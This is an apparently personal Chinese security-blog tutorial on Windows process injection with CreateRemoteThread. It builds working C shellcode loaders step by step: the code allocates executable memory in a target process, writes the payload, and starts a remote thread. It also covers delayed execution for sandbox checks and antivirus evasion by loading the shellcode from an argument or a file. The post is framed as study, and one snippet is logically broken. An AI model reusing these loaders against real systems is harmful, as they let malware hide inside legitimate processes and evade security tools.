WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

CreateRemoteThread

学习一下基础的进程注入

0x01 简单描述

进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode

好处是隐蔽性很强,只看任务管理器是看不出来问题的,并且还可以提权

下面请欣赏灵魂画手

0x02 代码实现

这次还是一步步来吧,每个函数都写一下

首先需要用到OpenProcess函数,这个函数是获取进程的句柄

关于句柄我是这样理解的,就像一个把柄一样,有了把柄才可以控制

当然句柄的本质是一个指针

下面是函数的参数

1
2
3
4
5
HANDLE OpenProcess(
DWORD dwDesiredAccess, //想得到的访问权限
BOOL bInheritHandle, //这个进程创建的进程是否继承句柄,这次不需要直接写0就行
DWORD dwProcessId //进程PID
);

关于访问权限可以看https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

百度的也不错https://baike.baidu.com/item/OpenProcess

这个函数的返回值是是进程的句柄

下一个VirtualAllocEx函数

1
2
3
4
5
6
7
LPVOID VirtualAllocEx(
HANDLE hProcess, //OpenProcess函数获取到的句柄
LPVOID lpAddress, //开内存的位置,NULL就是让系统选择
SIZE_T dwSize, //开内存的大小
DWORD flAllocationType, //内存页
DWORD flProtect //内存的属性
);

挺眼熟是吧之前免杀文章里面用到过,但是这个多一个获取句柄的参数,别的几个参数一样

知道了这两个函数就可以开始写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {
unsigned char buf[] = "shellcode"; //将shellcode放入
int process_id = atoi(argv[1]); //在命令行获取输入的PID
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
//获取句柄,这里要所有权限

if (process) { //判断句柄获取是否成功
printf("OpenProcess Success");
LPVOID base_address; //定义一个空指针,用来放入VirtualAllocEx的返回值
base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (base_address) { //判断是否获取到地址
printf("base_address:%p", base_address);
//打印获取到的内存的地址
}
else {
printf("VirtualAllocEx Fail");
}
}
else {
printf("OpenProcess Fail");
}
}

到这里我们可以通过x64dbg查看内存是否获取成功,注意64位的payload只能注入64位的进程,不然程序会炸掉,32位同样,当然也是有办法运行和进程不同位数的payload的,只是现在还不会..

打开一个记事本,直接用WIN+R打开的记事本是64位的

32位的记事本在C:\Windows\SysWow64\notepad.exe

记得位数要对应

现在用x64dbg打开记事本,然后用任务管理器找到PID

运行程序

得到开辟内存的起始地址,去x64dbg搜索一下,Ctrl+G搜索地址

到地址会发现里面都是00填充的

再看看内存的属性是ERW,可读可写可执行,和刚刚设定的是一样的

下面就是往里面写入shellcode了,需要用到WriteProcessMemory函数

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
HANDLE hProcess, //句柄
LPVOID lpBaseAddress, //要写入内存的起始地址
LPCVOID lpBuffer, //要写入的内存
SIZE_T nSize, //要写入的内存的大小
SIZE_T *lpNumberOfBytesWritten //实际写入内存的大小,可以为NULL
);

这个函数的返回值是一个布尔类型

现在把这个函数放进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {
unsigned char buf[] = "shellcode"; //将shellcode放入
int process_id = atoi(argv[1]); //在命令行获取输入的PID
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
//获取句柄

if (process) { //判断句柄获取是否成功
printf("OpenProcess Success\n");
LPVOID base_address; //定义一个空指针,用来放入VirtualAllocEx的返回值
base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (base_address) { //判断是否获取到地址
printf("base_address:%p\n", base_address);
//打印获取到的内存的地址

BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL);
if (ret) { //判断写入内存是否成功
printf("WriteProcessMemory Success");
}
else {
printf("WriteProcessMemory Fail\nError Code:%d", GetLastError());
}
}
else {
printf("VirtualAllocEx Fail\n");
}
}
else {
printf("OpenProcess Fail\n");
}
}

再次打开x64dbg,运行程序

跟到那个地址

可以看到shellcode已经写入了

最后是调用线程

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
HANDLE hProcess, //句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, //线程安全描述符,如果为NULL将获得一个默认的安全描述符并且句柄不能被继承
SIZE_T dwStackSize, //线程堆栈的大小,如果为0则为系统
LPTHREAD_START_ROUTINE lpStartAddress, //线程函数的起始地址, 就是刚刚VirtualAllocEx获取的地址
LPVOID lpParameter, // 传递给线程函数的参数,这次的线程没有需要的参数所以可以
DWORD dwCreationFlags, //线程创建的标志,0为马上执行
LPDWORD lpThreadId //指向所创建线程ID的指针,创建失败返回NULL
);

这个函数返回的是这个线程的句柄,和上面那个进程的句柄是有区别的

再把这个函数放到代码里

顺便再贴一下函数官方文档https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {
unsigned char buf[] = "shellcode"; //将shellcode放入
int process_id = atoi(argv[1]); //在命令行获取输入的PID
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
//获取句柄

if (process) { //判断句柄获取是否成功
printf("OpenProcess Success\n");
LPVOID base_address; //定义一个空指针,用来放入VirtualAllocEx的返回值
base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (base_address) { //判断是否获取到地址
printf("base_address:%p\n", base_address);
//打印获取到的内存的地址

BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL);
if (ret) {
printf("WriteProcessMemory Success\n");
DWORD TH; //定义一个存放线程ID的变量
HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); //注意第四个参数要强制类型转换
if (ThreadHandle) {
printf("ThreadInject Success");
}
else {
printf("ThreadInject Fail\n Error Code:%d", GetLastError());
}
}
else {
printf("WriteProcessMemory Fail\nError Code:%d", GetLastError());
}
}
else {
printf("VirtualAllocEx Fail\n");
}
}
else {
printf("OpenProcess Fail\n");
}
}

0x03 拓展一下

CREATE_SUSPENDED

CreateRemoteThread第六个参数线程标志,翻文档的时候发现有一个标志可以不马上执行

标志使用CREATE_SUSPENDED需要调用了ResumeThread函数才会执行

1
2
3
4
5
6
7
8
9
10
HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, CREATE_SUSPENDED, &TH);	//注意第四个参数要强制类型转换
if (ThreadHandle) {
printf("ThreadInject Success");
Sleep(5000);
//线程不马上执行,停止五秒后执行,以后学的多了可以在这里写以西沙箱检测啥的
ResumeThread(ThreadHandle);
}
else {
printf("ThreadInject Fail\n Error Code:%d", GetLastError());
}

lpParameter

CreateRemoteThread第五个参数,描述是可以给线程执行的函数传入参数

想学一下这个是怎么用的然后去查了查

查到一个CreateThread函数,就比CreateRemoteTread少一个PID参数,别的都是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<iostream>
#include<Windows.h>

void num() {
for (int i = 0; i < 15; i++) {
printf("num:%d", i);

}
}
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
int n = (int)lpParameter;
printf("%d", n);
num();
return 0;
}

int main()
{
int a = 123;
HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)a, 0, NULL);
CloseHandle(handle);

system(" pause");

}

官方文档可以看这里https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)

一个回调函数,应该是固定的格式吧,如果需要传参,参数为一个LPVOID类型的变量

这个看懂就可以同理到CreateRemoteThread了,可以创建一个函数混淆shellcode或检测环境然后再决定是否执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<iostream>
#include<Windows.h>

BOOL check() {

}
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
check();
if (!check) {
char* shellcode;
shellcode = (char*)(lpParameter);
((void(*)()) & shellcode);
return 0;
}

}

int main()
{
char shellcode[] = "shellcode";
HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)shellcode, 0, NULL);
CloseHandle(handle);
}

就差不多这种感觉吧

0x04 免杀

c语言混淆shellcode还是有点麻烦的,要有密码学的功底,不像别的语言都有现成的库,对密码学不好的就比较困难,所以这里还是用白+黑免杀,不把shellcode都放到程序里面,从外面加载

直接加载字符串shellcode

和之前那个ssi同样的思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {
char* str = argv[1];
int code_len = strlen(str) / 2;
char char_in_hex;
unsigned char buf[1000];
for (int i = 0; i < code_len; i++) {
sscanf_s(str + 2 * i, "%2x", &char_in_hex);
buf[i] = char_in_hex;
}
int process_id = atoi(argv[2]); //在命令行获取输入的PID
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
//获取句柄

if (process) { //判断句柄获取是否成功
printf("OpenProcess Success\n");
LPVOID base_address; //定义一个空指针,用来放入VirtualAllocEx的返回值
base_address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (base_address) { //判断是否获取到地址
printf("base_address:%p\n", base_address);
//打印获取到的内存的地址

BOOL ret = WriteProcessMemory(process, base_address, buf, sizeof(buf), NULL);
if (ret) {
printf("WriteProcessMemory Success\n");
DWORD TH; //定义一个存放线程ID的变量
HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); //注意第四个参数要强制类型转换
if (ThreadHandle) {
printf("ThreadInject Success");
}
else {
printf("ThreadInject Fail\n Error Code:%d", GetLastError());
}
}
else {
printf("WriteProcessMemory Fail\nError Code:%d", GetLastError());
}
}
else {
printf("VirtualAllocEx Fail\n");
}
}
else {
printf("OpenProcess Fail\n");
}
}

example:code.exe code pid

ReadFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[]) {
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Error Code:%d", GetLastError());
return -1;
}
DWORD dwSize = GetFileSize(hFile, NULL);

int process_id = atoi(argv[2]); //在命令行获取输入的PID
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
//获取句柄

if (process) { //判断句柄获取是否成功
printf("OpenProcess Success\n");
LPVOID base_address; //定义一个空指针,用来放入VirtualAllocEx的返回值
base_address = VirtualAllocEx(process, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID code = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD dwRealRead;
ReadFile(hFile, code, dwSize, &dwRealRead, NULL);
if (base_address) { //判断是否获取到地址
printf("base_address:%p\n", base_address);
//打印获取到的内存的地址

BOOL ret = WriteProcessMemory(process, base_address, code, dwSize, NULL);
if (ret) {
printf("WriteProcessMemory Success\n");
DWORD TH; //定义一个存放线程ID的变量
HANDLE ThreadHandle = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, 0, &TH); //注意第四个参数要强制类型转换
if (ThreadHandle) {
printf("ThreadInject Success");
}
else {
printf("ThreadInject Fail\n Error Code:%d", GetLastError());
}
}
else {
printf("WriteProcessMemory Fail\nError Code:%d", GetLastError());
}
}
else {
printf("VirtualAllocEx Fail\n");
}
}
else {
printf("OpenProcess Fail\n");
}
}

example:code file pid

0x05 参考

https://blog.csdn.net/CSNN2019/article/details/113786438

https://idiotc4t.com/code-and-dll-process-injection/createremotethread